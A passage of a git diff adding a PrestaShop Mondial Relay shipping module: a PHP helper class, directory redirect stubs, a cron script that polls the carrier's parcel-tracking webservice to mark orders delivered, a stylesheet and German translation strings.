`zip_code_format` + FROM `'._DB_PREFIX_.'country` + WHERE `id_country` = '.(int)$id_country); + + // -1 to warn user that no layout exist + if (!$zipcodeFormat) + return -1; + + $regxMask = str_replace( + array('N', 'C', 'L'), + array( + '[0-9]', + Country::getIsoById((int)$id_country), + '[a-zA-Z]'), + $zipcodeFormat); + if (preg_match('/'.$regxMask.'/', $zipcode)) + return true; + return false; + } + + static public function getFormatedPhone($phone_number) + { + $begin = substr($phone_number, 0, 3); + $pad_number = (strpos($begin, '+3') !== false) ? 12 : + (strpos($begin, '00') ? 13 : 10); + + return str_pad(substr(preg_replace(MRTools::REGEX_CLEAN_PHONE, '', $phone_number), 0, $pad_number), $pad_number, '0'); + } +} + +?> diff --git a/modules/mondialrelay2/classes/index.php b/modules/mondialrelay2/classes/index.php new file mode 100755 index 0000000..f42f03e --- /dev/null +++ b/modules/mondialrelay2/classes/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/mondialrelay2/cron.php b/modules/mondialrelay2/cron.php new file mode 100755 index 0000000..c4a12c8 --- /dev/null +++ b/modules/mondialrelay2/cron.php @@ -0,0 +1,77 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +include_once('../../config/config.inc.php'); +include_once('mondialrelay.php'); + +if (Tools::getValue('secure_key') != Configuration::get('MONDIAL_RELAY_SECURE_KEY')) + exit; + +$account_shop = MondialRelay::getAccountDetail(); + +$expeditions = Db::getInstance()->executeS(' +SELECT ms.`exp_number`, ms.`id_cart`, o.`id_order` +FROM `'._DB_PREFIX_.'mr_selected` ms +LEFT JOIN `'._DB_PREFIX_.'orders` o ON (o.`id_cart` = ms.`id_cart`) +WHERE `exp_number` != 0'); + +if (empty($expeditions)) + exit; + +$params = array( +'Enseigne' => $account_shop['MR_ENSEIGNE_WEBSERVICE'], +'Langue' => 'FR' +); + +require_once(dirname(__FILE__).'/lib/nusoap/nusoap.php'); +$client_mr = new nusoap_client("http://www.mondialrelay.fr/webservice/Web_Services.asmx?WSDL", true); +$client_mr->soap_defencoding = 'UTF-8'; +$client_mr->decode_utf8 = false; + +foreach ($expeditions as $expedition) +{ + if ($expedition['id_order'] == NULL) + continue; + if (OrderHistory::getLastOrderState((int)($expedition['id_order']))->id == Configuration::get('PS_OS_DELIVERED')) + continue; + $params['Expedition'] = $expedition['exp_number']; + $params['Security'] = strtoupper(md5($params['Enseigne'].$params['Expedition'].'FR'.$account_shop['MR_KEY_WEBSERVICE'])); + + $is_delivered = 0; + $result_mr = $client_mr->call('WSI2_TracingColisDetaille', $params, 'http://www.mondialrelay.fr/webservice/', 'http://www.mondialrelay.fr/webservice/WSI2_TracingColisDetaille'); + if (isset($result_mr['WSI2_TracingColisDetailleResult']['Tracing']['ret_WSI2_sub_TracingColisDetaille'])) + foreach ($result_mr['WSI2_TracingColisDetailleResult']['Tracing']['ret_WSI2_sub_TracingColisDetaille'] as $result) + if (isset($result['Libelle']) AND $result['Libelle'] == 'COLIS LIVRÉ') + $is_delivered = 1; + + if ($is_delivered == 1) + { + $history = new OrderHistory(); + $history->id_order = (int)($expedition['id_order']); + $history->changeIdOrderState((int)(Configuration::get('PS_OS_DELIVERED')), (int)($expedition['id_order'])); + $history->addWithemail(); + } +} diff --git a/modules/mondialrelay2/css/index.php b/modules/mondialrelay2/css/index.php new file mode 100755 index 0000000..319128b --- /dev/null +++ b/modules/mondialrelay2/css/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/mondialrelay2/css/style.css b/modules/mondialrelay2/css/style.css new file mode 100755 index 0000000..50da76f --- /dev/null +++ b/modules/mondialrelay2/css/style.css @@ -0,0 +1,450 @@ +div.PS_MRFormType +{ + width:100%; + margin-top:20px; +} + +div.PS_MRFormType fieldset > ul +{ + list-style-type: none; +} + +div.PS_MRFormType fieldset > ul > li +{ + margin-top:10px; +} + +div.PS_MRFormType fieldset > ul > li > span.indication +{ + font-style:italic; + font-size:11px; + margin-left:5px; +} + +div.PS_MRFormType fieldset > ul > li.PS_MRSubmit +{ + text-align:center; +} + +div.PS_MRSubmitButton +{ + text-align:center; + margin-top:20px; +} + +.PS_MRRequireFields +{ + display:inline; + padding:2px 10px; +} + +tr.PS_MRErrorList td +{ + border: 1px solid #EC9B9B; + background-color: #FFE2E3; + color: #383838; + font-weight: 700; + line-height: 18px; + text-align:center; +} + +tr.PS_MRSuccessList td +{ + border: 1px solid #72CB67; + background-color: #DFFAD3; + color: #383838; + font-weight: 700; + line-height: 18px; + text-align:center; +} + +table#PS_MRHistoriqueTableList +{ + text-align:center; +} + +table#PS_MRHistoriqueTableList tr > td > img +{ + margin-bottom:5px; +} + +table#PS_MRHistoriqueTableList +{ + width:100%; +} + +table#PS_MRHistoriqueTableList tr +{ + height:30px; +} + +div#otherErrors +{ + display:none; +} + +div#otherErrors span +{ + text-align:left; +} + +div#PS_MRUnRemovedItem +{ + display:none; + color:#FF0000; +} + +.shippingList { + +} +.shippingList li { + margin: 5px; + display: block; + clear: both; +} +.shipLabel { + width: 230px; + float: left; + text-align: left; +} +.selectShipping { + width: 100px; +} +.settingsList { + width: 400px; + float: left; + margin-right: 10px; +} +.settingsList li { + display: block; + padding: 5px; + clear: both; +} +.upsLabel { + width: 170px; + float: left; + text-align: left; +} +.upsInput { + float: left; +} +.upsSubmit { + text-align: center; +} +.addMethodForm { + margin-bottom: 10px; +} + +table#orders +{ + width:100%; +} + +table#orders td +{ + text-align:center; + height: 30px; +} + +table#orders th +{ + text-align:center; + height: 40px; +} + +table#orders th.fixed +{ + width:70px; +} + +table#orders tr +{ + text-align:center; +} + +div.submit_button +{ + margin-top:10px; + text-align:center; +} + +div.PS_MRLoader +{ + display:none; +} + +.MR_form_admintab h3 +{ + margin: 10px; + margin-bottom: .5em; + line-height: 1.4em; +} + +div#PS_MRAskBackupContent +{ + border:1px solid #000; + background: url(../logo_hd.png) no-repeat 10px 50px #BEBEBE; + line-height:18px; + font-size:14px; + height:190px; +} + +div#PS_MRAskBackupContent div +{ + width:290px; + float:right; + margin-right:20px; + text-align: center; +} + +div#PS_MRAskBackupContent div > p +{ + line-height: 30px; +} + +div#PS_MRAskBackupContent h2 +{ + padding-top:10px; +} + +tr.PS_MRSelectedCarrier > td +{ + text-align: center; + border-bottom: 1px black; +} + +.PS_MRWarn +{ + border: 1px solid #D3C200; + background-color: #FFFAC6; + line-height: 20px; +} + +.PS_MRRelayPointInfo +{ + text-align: left; + vertical-align: top; + margin: 10px 0; + cursor: pointer; +} + +.PS_MRRelayPointInfo:hover +{ + background-color: #f4f4f4; +} + +.PS_MRRelayPointInfo img +{ + height: 40px; + float:left; + padding: 0 10px; +} + +.PS_MRRelayPointInfo p +{ + float:left; + width:360px; + text-align: justify; +} + +.PS_MRFloatRelayPointSelecteIt +{ + display:block; +} + +.PS_MRRelayPointInfo:hover .PS_MRFloatRelayPointSelecteIt +{ + display:block; +} + +.PS_MRRelayPointInfo .PS_MRFloatRelayPointSelected +{ + color:#333333; + background:url(../images/selectRelayPoint.png) no-repeat 0px -25px; +} + +.PS_MRFloatRelayPointSelected +{ + display:block; +} + +.PS_MRFloatRelayPointSelecteIt a.PS_MRSelectRelayPointButton +{ + float:right; + display: block; + width: 60px; + height: 20px; + padding: 5px 20px 0px 25px; + color:#666666; + text-decoration: none; + margin-top: 8px; + background:url(../images/selectRelayPoint.png) no-repeat 0px 0px; +} + +.PS_MRFloatRelayPointSelected a.PS_MRSelectRelayPointButton +{ + font-size: 10px; + float:right; + display: block; + width: 60px; + height: 20px; + padding: 7px 20px 0px 25px; + text-decoration: none; + margin-top: 8px; + color:#333333; + background:url(../images/selectRelayPoint.png) no-repeat 0px -25px; +} + +a.PS_MRSelectRelayPointButton:hover +{ + color:#333333; + background:url(../images/selectRelayPoint.png) no-repeat 0px -25px; +} + +.PS_MRGmapDefaultPosition +{ + display:none; +} + +div.PS_MRGmapStyle +{ + width: 550px; + height:250px; + display: none; +} + +div#PS_MRPersonalizedFields +{ + display:none; +} + +.clearfix:before, +.clearfix:after +{ + content: "."; + display: block; + height: 0; + overflow: hidden +} +.clearfix:after {clear: both} +.clearfix {zoom: 1} + +.PS_MRGmapBulbe +{ + width:405px; + height:66px; + overflow: hidden; +} + +.MR_date {width:450px;position:relative;float:right; line-height: 9px;} +.MR_date span.titre {margin-left:50px;font-weight:bold;} +.MR_date span.vacances {margin-left:5px;color:Red; } +.MR_date table {border-spacing:3px;font-size:11pt; border: solid 1px #eee;} +.MR_date tr.p {background-color:#e9e9e9; height:9px;} +.MR_date td.g {font-weight:bold;} +.MR_date td.d {} + +/* 1.3 compatibility*/ +.MR_warn +{ + border: 1px solid #D3C200; + background-color: #FFFAC6; + color: #383838; + font-weight: 700; + margin: 0 0 10px 0; + line-height: 20px; + padding: 10px 0px; + text-align: center; +} + +/* 1.3 compatibility*/ +.MR_error +{ + border: 1px solid #EC9B9B; + background-color: #FAE2E3; + color: #383838; + font-weight: 700; + margin: 0 0 10px 0; + line-height: 20px; + padding: 10px 0px; + text-align: center; +} + +.MR_error ul > li, .MR_warn ul > li +{ + list-style: none; + text-align: left; +} + +/* 1.3 - 1.4 compatibility*/ +.MR_hint +{ + margin-top: 4px; + margin-bottom: 2px; + border: 1px solid #268CCD; + padding: 8px 6px 8px 34px; + color: #383838; + background: #F1F9FF url(../images/help.png) no-repeat 6px 5px; + border-radius: 3px; +} + +#MR_config_menu +{ + background-color: #F8F8F8; + border: 1px solid #CCC; + margin-bottom: 10px; + padding: 10px 0; + border-radius: 3px; + -moz-border-radius: 3px; + -webkit-border-radius: 3px; + border-image: initial; + height: 110px; +} + +#MR_config_menu ul +{ + margin: 0 auto; + padding: 0; + width:100%; +} + +#MR_config_menu ul > li +{ + color: #666; + float: left; + list-style: none outside none; + padding: 10px 40px; + text-align: center; +} + +#MR_config_menu ul > li.selected +{ + color: #383838; + font-weight: bolder; + border: 1px solid #CCC; + border-radius: 3px; + -moz-border-radius: 3px; + -webkit-border-radius: 3px; + background-color: #EBEDF4; +} + +#MR_config_menu ul > li.selected > a +{ + color: #383838; + font-weight: bolder; +} + +#MR_error_account +{ + display: none; + text-align: center; +} + +.PS_MRFormType +{ + display: none; +} + +.send_disable_carrier_form { + cursor: pointer; +} \ No newline at end of file diff --git a/modules/mondialrelay2/de.php b/modules/mondialrelay2/de.php new file mode 100755 index 0000000..1ef40f1 --- /dev/null +++ b/modules/mondialrelay2/de.php @@ -0,0 +1,148 @@ +mondialrelay_44585fcd617dce6416d8283b026714c1'] = 'Mondial Relay'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_ed4a3b96dc1f38c160775cac1f7bcd6d'] = 'An Mondial Relay Stützpunkte liefern.'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_709b076565df5fa98cdb2528d897633d'] = 'Ungültiger Mark-Code'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_c86508f5bc6b4456e7003d6a1868689d'] = 'Ungültiger Webservice Schlüssel'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_ea9261a3dad976b40ff2088a19fda2c3'] = 'Ungültige Sprache'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_4eb287cc225ba0e1bcfe9cc1b8315def'] = 'Ungültiger Gewichtskoeffizient'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_70ff82d47f295f730c6accf07a2948e8'] = 'Ungültiger Versanddienstnamen'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_e1f1787db2fee596f4c3bfaf1d098f8d'] = 'Ungültiger Col-Modus'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_9414b7de379a09941e894d28f19949ae'] = 'Ungültiger Liefermodus'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_5eeb9ca7eee4be7192dd10d917f79a12'] = 'Ungültiger Assurance-Modus'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_8b446ac2013dc7085802de71cc342ead'] = 'Sie müssen mindestens ein Zustellungsland angeben'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_979c6094728c14aac1b66d544dc5cebd'] = 'Ungültiger Bestellstatus'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_2673bca5ba0a7871770e69c962e6ce38'] = 'Nb Versand:'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_0dbe844fb964d5eca2f51be724e43294'] = 'Label URL'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_c6aefd5e2191e1210a2f50416812b517'] = 'Follow-up-URL'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_61e70b58e38fd01daa254f44c4fa264b'] = 'Nb Abholpunkt:'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_bba366864d25056c941b72f18ef79e7c'] = 'Dieser Fehler ist nicht bekannt :'; +$_MODULE['<{mondialrelay}prestashop>mrcreatetickets_a1c3470a944b9625cfb924fd15c8bdbf'] = 'Bitte mindestens eine Bestellung auswählen'; +$_MODULE['<{mondialrelay}prestashop>mrcreatetickets_dc41aac14af17f1d19fca5e3b9439e74'] = 'Dieser Schlüssel'; +$_MODULE['<{mondialrelay}prestashop>mrcreatetickets_306b346c19017609403424203ea3d720'] = 'ist leer und muss angegeben werden'; +$_MODULE['<{mondialrelay}prestashop>mrcreatetickets_e6940b76f045c8bc0aaaa5b2476cdaf7'] = 'Die Anfrage scheint ungültig zu sein'; +$_MODULE['<{mondialrelay}prestashop>mrcreatetickets_c9b4de92f371ae545ad6f051c07d58ca'] = 'Fehler Nummer:'; +$_MODULE['<{mondialrelay}prestashop>mrcreatetickets_ea5f761be4e4888eabf4e1501d7817d1'] = 'Detail:'; +$_MODULE['<{mondialrelay}prestashop>mrcreatetickets_eabb11bf9623f08409a0a4c9d035a336'] = 'Versand-Nummer:'; +$_MODULE['<{mondialrelay}prestashop>mrcreatetickets_b92c3d3319314513c547675924ceecd1'] = 'Ticket URL :'; +$_MODULE['<{mondialrelay}prestashop>mrcreatetickets_66b793b6b4125e300717e8cf7449f533'] = 'Tracking URL:'; +$_MODULE['<{mondialrelay}prestashop>mrcreatetickets_2653c23b8c0daac59571e4be5e8fa7d0'] = 'Der Webservice von Mondial Relay ist zu r Zeit nicht erreichbar'; +$_MODULE['<{mondialrelay}prestashop>mrcreatetickets_26b6b6eaec970108c5e84286159fbf48'] = 'Bitte prüfen Sie Ihre Spracheinstellungen'; +$_MODULE['<{mondialrelay}prestashop>mrcreatetickets_557595c2e17c9948a9448eb763ac1a88'] = 'Bitte prüfen Sie Ihre Namenseinstellungen'; +$_MODULE['<{mondialrelay}prestashop>mrcreatetickets_017ca6b770ad53669a4eec82894dfcd3'] = 'Bitte prüfen Sie Ihre Adresseneinstellungen'; +$_MODULE['<{mondialrelay}prestashop>mrcreatetickets_3f79e1fc66b4f9cca7bd68cab176020d'] = 'Bitte prüfen Sie Ihre Städteeinstellungen'; +$_MODULE['<{mondialrelay}prestashop>mrcreatetickets_404665d9b65239985d59b30b3dcb26b5'] = 'Bitte prüfen Sie Ihre PLZ-Einstellungen'; +$_MODULE['<{mondialrelay}prestashop>mrcreatetickets_74cb73eddbe6eaf556023f943fc7e1fd'] = 'Das Format Ihrer PLZ entspricht nicht dem Länderformat oder Sie haben keine entsprechende PLZ angegeben.'; +$_MODULE['<{mondialrelay}prestashop>mrcreatetickets_0b8a30478b9572b86718989d483fd88d'] = 'Bitte prüfen Sie Ihre Ländereinstellungen'; +$_MODULE['<{mondialrelay}prestashop>mrcreatetickets_7ddf2d94bf037b7d1088c0600ea589c3'] = 'Bitte prüfen Sie Ihre Telefonnummer-Einstellungen'; +$_MODULE['<{mondialrelay}prestashop>mrcreatetickets_9c7ce7be9a2c593b24d448edb4f804e0'] = 'Bitte prüfen Sie Ihre Maileinstellungen'; +$_MODULE['<{mondialrelay}prestashop>mrgetrelaypoint_14288d48d107056c1acf8aaae1bf282b'] = 'Kudenadresse nicht gefunden'; +$_MODULE['<{mondialrelay}prestashop>mrgetrelaypoint_dc41aac14af17f1d19fca5e3b9439e74'] = 'Der Schlüssel'; +$_MODULE['<{mondialrelay}prestashop>mrgetrelaypoint_135a7b9a62531e066a95093d8951b344'] = 'hat kein gültiges Datenformat'; +$_MODULE['<{mondialrelay}prestashop>mrgetrelaypoint_e6940b76f045c8bc0aaaa5b2476cdaf7'] = 'Die Anfrage ist ungültig:'; +$_MODULE['<{mondialrelay}prestashop>mrgetrelaypoint_c9b4de92f371ae545ad6f051c07d58ca'] = 'Fehler:'; +$_MODULE['<{mondialrelay}prestashop>mrgetrelaypoint_ea5f761be4e4888eabf4e1501d7817d1'] = 'Details:'; +$_MODULE['<{mondialrelay}prestashop>mrgetrelaypoint_4e274658c9e97c2a336dde79dd0a7772'] = 'Mondial Relay kann in Ihrer Nähe leider keinen Stützpunkt finden. Haben Sie Ihre Adresse korrekt angegeben ?'; +$_MODULE['<{mondialrelay}prestashop>mrgetrelaypoint_2653c23b8c0daac59571e4be5e8fa7d0'] = 'Mondial Relay Seite ist im Moment nicht verfügbar.'; +$_MODULE['<{mondialrelay}prestashop>mrgettickets_dc41aac14af17f1d19fca5e3b9439e74'] = 'Der Schlüssel'; +$_MODULE['<{mondialrelay}prestashop>mrgettickets_135a7b9a62531e066a95093d8951b344'] = 'hat kein gültiges Datenformat'; +$_MODULE['<{mondialrelay}prestashop>mrgettickets_e6940b76f045c8bc0aaaa5b2476cdaf7'] = 'Die Anfrage ist ungültig:'; +$_MODULE['<{mondialrelay}prestashop>mrgettickets_c9b4de92f371ae545ad6f051c07d58ca'] = 'Fehler:'; +$_MODULE['<{mondialrelay}prestashop>mrgettickets_ea5f761be4e4888eabf4e1501d7817d1'] = 'Details:'; +$_MODULE['<{mondialrelay}prestashop>mrgettickets_2653c23b8c0daac59571e4be5e8fa7d0'] = 'Der Webservice von Mondial Relay ist zu r Zeit nicht erreichbar'; +$_MODULE['<{mondialrelay}prestashop>mrmanagement_38b4abe2f5860f034e315f2da648a3d6'] = 'Mondial Relay Uninstall'; +$_MODULE['<{mondialrelay}prestashop>mrmanagement_a4691c957e81a6f0b6f0ed44f8f2dfe8'] = 'Sie versuchen das Modul zu deinstallieren, alle Datenbankeinträge werden ebenso entfernt'; +$_MODULE['<{mondialrelay}prestashop>mrmanagement_09c081633d484a62a2f6940c12a0de36'] = 'Daten belassen und deinstallieren'; +$_MODULE['<{mondialrelay}prestashop>mrmanagement_0b7f47fce1d82d53244771c64b1535c0'] = 'Deaktivieren (alle Daten löschen) und deinstallieren'; +$_MODULE['<{mondialrelay}prestashop>mrmanagement_ea4788705e6873b424c65e91c2846b19'] = 'stornieren'; +$_MODULE['<{mondialrelay}prestashop>mrmanagement_a42bb0eaa485682166770a54469385f6'] = 'Einige Einträge konnten nicht entfernt werden, bitte versuchen Sie es noch einmal.'; +$_MODULE['<{mondialrelay}prestashop>mrmanagement_11744bfebb33e52be37a66a530b7045d'] = 'Bitte wählen Sie mindestens ein Verlaufselement aus'; +$_MODULE['<{mondialrelay}prestashop>mrrelaydetail_14288d48d107056c1acf8aaae1bf282b'] = 'Kundenadresse konnte nicht gefunden werden'; +$_MODULE['<{mondialrelay}prestashop>mrrelaydetail_dc41aac14af17f1d19fca5e3b9439e74'] = 'Dieser Schlüssel'; +$_MODULE['<{mondialrelay}prestashop>mrrelaydetail_306b346c19017609403424203ea3d720'] = 'ist leer und muss angegeben werden'; +$_MODULE['<{mondialrelay}prestashop>mrrelaydetail_e6940b76f045c8bc0aaaa5b2476cdaf7'] = 'Die Anfrage ist ungültig:'; +$_MODULE['<{mondialrelay}prestashop>mrrelaydetail_c9b4de92f371ae545ad6f051c07d58ca'] = 'Es ist ein Fehler in der Nummer vorhanden:'; +$_MODULE['<{mondialrelay}prestashop>mrrelaydetail_ea5f761be4e4888eabf4e1501d7817d1'] = 'Details:'; +$_MODULE['<{mondialrelay}prestashop>mrrelaydetail_6f8522e0610541f1ef215a22ffa66ff6'] = 'Montag'; +$_MODULE['<{mondialrelay}prestashop>mrrelaydetail_5792315f09a5d54fb7e3d066672b507f'] = 'Dienstag'; +$_MODULE['<{mondialrelay}prestashop>mrrelaydetail_796c163589f295373e171842f37265d5'] = 'Mittwoch'; +$_MODULE['<{mondialrelay}prestashop>mrrelaydetail_78ae6f0cd191d25147e252dc54768238'] = 'Donnerstag'; +$_MODULE['<{mondialrelay}prestashop>mrrelaydetail_c33b138a163847cdb6caeeb7c9a126b4'] = 'Freitag'; +$_MODULE['<{mondialrelay}prestashop>mrrelaydetail_8b7051187b9191cdcdae6ed5a10e5adc'] = 'Samstag'; +$_MODULE['<{mondialrelay}prestashop>mrrelaydetail_9d1a0949c39e66a0cd65240bc0ac9177'] = 'Sonntag'; +$_MODULE['<{mondialrelay}prestashop>mrrelaydetail_2653c23b8c0daac59571e4be5e8fa7d0'] = 'Modial Relay Webservice ist im Moment nicht verfügbar.'; +$_MODULE['<{mondialrelay}prestashop>configuration_ea9cf7e47ff33b2be14e6dd07cbcefc6'] = 'Versandkosten'; +$_MODULE['<{mondialrelay}prestashop>configuration_fe4c6a5e7bd6793b37370e4e46daf998'] = 'Erweiterte Einstellungen'; +$_MODULE['<{mondialrelay}prestashop>configuration_5a2355a42ba3ab265701183c914467f2'] = 'Versuchen Sie den Cache und Kompilierung auf AUS zu stellen'; +$_MODULE['<{mondialrelay}prestashop>configuration_3de769f9a81eed916583d5b35c58dbdd'] = 'falls Sie mit dem Modul nach einer Aktualisierung Probleme haben sollten'; +$_MODULE['<{mondialrelay}prestashop>configuration_8f8b21bd013b38d1e3059557c22a57e7'] = 'Nutzen Sie die folgende Kurzanleitung, um das Mondial Relay Modul zu konfigurieren.'; +$_MODULE['<{mondialrelay}prestashop>configuration_d21a9f93917604d5490ad529a7cf1ff9'] = 'So erstellen Sie eine Mondial Relay Lieferanten'; +$_MODULE['<{mondialrelay}prestashop>configuration_c6a2e6af5fff47adb3afd780b97d9b4b'] = 'Geben Sie Ihre Mondial Relay-Konto-Einstellungen ein und speichern Sie sie'; +$_MODULE['<{mondialrelay}prestashop>configuration_b962d8fb95f5a439f50502152f3bad71'] = 'Definieren Sie einen Preis für Ihren Lieferanten auf'; +$_MODULE['<{mondialrelay}prestashop>configuration_faf1247ae6846a9955a466d4f301bbe4'] = 'Der Lieferanten-Seite'; +$_MODULE['<{mondialrelay}prestashop>configuration_10d78806b84b97ebc774e9f6277af6ac'] = 'Um Etiketten zu generieren, müssen Sie eine gültige und registrierte Adresse Ihres Shops auf Ihrer'; +$_MODULE['<{mondialrelay}prestashop>configuration_af5efea250326c1c34d69aa9364b482c'] = 'Kontakt-Seite haben'; +$_MODULE['<{mondialrelay}prestashop>configuration_1ba3935c9858ffb8e19a35ca640b8505'] = 'Mondial Relay Kontoeinstellungen'; +$_MODULE['<{mondialrelay}prestashop>configuration_a125105400f6e4ee4574da3793af5ef2'] = 'Diese Parameter werden Ihnen von Mondialrelay mitgeteilt, sobald Sie den Dienst abonniert haben'; +$_MODULE['<{mondialrelay}prestashop>configuration_99244b234ec089eca40ff9e8ec343e87'] = 'Gramm = 1'; +$_MODULE['<{mondialrelay}prestashop>configuration_61cbc2d26b4157292673c772ddd6c0f7'] = 'Parameter aktualisieren'; +$_MODULE['<{mondialrelay}prestashop>configuration_70397c4b252a5168c5ec003931cea215'] = 'Pflichtfelder'; +$_MODULE['<{mondialrelay}prestashop>configuration_9ffc3ccc968a96d902af963c6d7b4e97'] = 'Erweiterte Einstellungen'; +$_MODULE['<{mondialrelay}prestashop>configuration_fcf5b2122da1d5a5f5c7253b96a3f9d9'] = 'URL Cron Task:'; +$_MODULE['<{mondialrelay}prestashop>configuration_66661dacf33146201b60dc16520ddd68'] = 'Fügen Sie eine Versandart hinzu'; +$_MODULE['<{mondialrelay}prestashop>configuration_531e144cc23ef08408b81cb4d9c641dc'] = 'Lieferantenname'; +$_MODULE['<{mondialrelay}prestashop>configuration_8f497c1a3d15af9e0c215019f26b887d'] = 'Frist'; +$_MODULE['<{mondialrelay}prestashop>configuration_201bdb87f8e278b943d07ae924d5de6e'] = 'Liefer-Modus'; +$_MODULE['<{mondialrelay}prestashop>configuration_142ef02888af88b8b772335277d1c0c8'] = 'Lieferung an einen Abholpunkt'; +$_MODULE['<{mondialrelay}prestashop>configuration_eeab8b7cf3c7a558a0e8a4050fa994ca'] = 'Colis Drive Lieferung'; +$_MODULE['<{mondialrelay}prestashop>configuration_8f7794b107749728c3333ef38d2687e8'] = 'Hauslieferung RDC (1 Person)'; +$_MODULE['<{mondialrelay}prestashop>configuration_e451efc8ce05b96b214b4c2935f2c657'] = 'Besondere Hauslieferung (2 Personen)'; +$_MODULE['<{mondialrelay}prestashop>configuration_eaff1bdf24fcffe0e14e29a1bff51a12'] = 'Versicherung'; +$_MODULE['<{mondialrelay}prestashop>configuration_96ba408f20bc3e065f400c650d32fd1a'] = 'Keine Versicherung'; +$_MODULE['<{mondialrelay}prestashop>configuration_e5a8fafb1dfb538c172e1e014e86b871'] = 'Zusatzversicherung Lv1'; +$_MODULE['<{mondialrelay}prestashop>configuration_b02f8d6d4b6217cca317161c87f64065'] = 'Zusatzversicherung Lv2'; +$_MODULE['<{mondialrelay}prestashop>configuration_90b95ae88150c6a34c4129dc4f1ebbd5'] = 'Zusatzversicherung Lv3'; +$_MODULE['<{mondialrelay}prestashop>configuration_c15b40b8c535191f6f0b6f9beaced3cf'] = 'Zusatzversicherung LV4'; +$_MODULE['<{mondialrelay}prestashop>configuration_b67a442fff3ca0a03ea253b0668f946d'] = 'Zusatzversicherung Lv5'; +$_MODULE['<{mondialrelay}prestashop>configuration_33cbd0d8b6476501f55a8320481ec0f1'] = 'Zustellländer:'; +$_MODULE['<{mondialrelay}prestashop>configuration_aef71ba4fd060dea2e2c76d1b5076caf'] = 'Halten Sie die die STRG-Taste gedrückt, um mehrere Länder zu wählen'; +$_MODULE['<{mondialrelay}prestashop>configuration_0309a6c666a7a803fdb9db95de71cf01'] = 'Frankreich'; +$_MODULE['<{mondialrelay}prestashop>configuration_6c1674d14bf5f95742f572cddb0641a7'] = 'Belgien'; +$_MODULE['<{mondialrelay}prestashop>configuration_06630c890abadde9228ea818ce52b621'] = 'Luxemburg'; +$_MODULE['<{mondialrelay}prestashop>configuration_907eba32d950bfab68227fd7ea22999b'] = 'Spanien'; +$_MODULE['<{mondialrelay}prestashop>configuration_0c24ec05a02c710cedd400e3680d8b81'] = 'Versandart-Liste'; +$_MODULE['<{mondialrelay}prestashop>configuration_14039af96b01e718a9c9d9c1259b6472'] = 'Keine Versandmethoden erstellt'; +$_MODULE['<{mondialrelay}prestashop>header_e0626222614bdee31951d84c64e5e9ff'] = 'Auswählen'; +$_MODULE['<{mondialrelay}prestashop>header_91b442d385b54e1418d81adc34871053'] = 'ausgewählt'; +$_MODULE['<{mondialrelay}prestashop>header_ef2a1f426c2c289ed5986c7636a5d696'] = 'Bitte wählen Sie einen Paketstützpunkt'; +$_MODULE['<{mondialrelay}prestashop>header_80a0c205cd57b22fca7f174253870300'] = 'Öffnungszeiten'; +$_MODULE['<{mondialrelay}prestashop>header_2b56b60f878922093facd42284848a0c'] = 'Mehr Infos'; +$_MODULE['<{mondialrelay}prestashop>order_detail_81b7b4587a2a3ea7a0d6bb1df3fbba54'] = 'Lieferung nach'; +$_MODULE['<{mondialrelay}prestashop>order_detail_c2d05abc7f5ebdc72b6656df35038b43'] = 'Meine Sendung auf der Mondial Relay Webseite verfolgen'; +$_MODULE['<{mondialrelay}prestashop>post_action_466ec9f29b485204ef53818459da48af'] = 'Fehler aufgetreten'; +$_MODULE['<{mondialrelay}prestashop>generate_tickets_de21dc13e1ea638777fbfad49f88b332'] = 'Alle Bestellugen, die den Status haben'; +$_MODULE['<{mondialrelay}prestashop>generate_tickets_378116486b5a90bb50fd4f1557698d96'] = 'wird für die Erstellung Ihres Aufklebers verfügbar sein'; +$_MODULE['<{mondialrelay}prestashop>generate_tickets_d79cf3f429596f77db95c65074663a54'] = 'Bestellnummer'; +$_MODULE['<{mondialrelay}prestashop>generate_tickets_ce26601dac0dea138b7295f02b7620a7'] = 'Kunde'; +$_MODULE['<{mondialrelay}prestashop>generate_tickets_0eede552438475bdfe820c13f24c9399'] = 'Gesamtpreis'; +$_MODULE['<{mondialrelay}prestashop>generate_tickets_c28e0582276cb6747e37d948e1727929'] = 'Gesamtbetrag Versandkosten:'; +$_MODULE['<{mondialrelay}prestashop>generate_tickets_44749712dbec183e983dcd78a7736c41'] = 'Datum'; +$_MODULE['<{mondialrelay}prestashop>generate_tickets_52150799c57e873360cca13c080a91b4'] = 'Gewicht (Gramm)'; +$_MODULE['<{mondialrelay}prestashop>generate_tickets_6ccc0fdff9995e1a0fce00c99e5b6085'] = 'MR 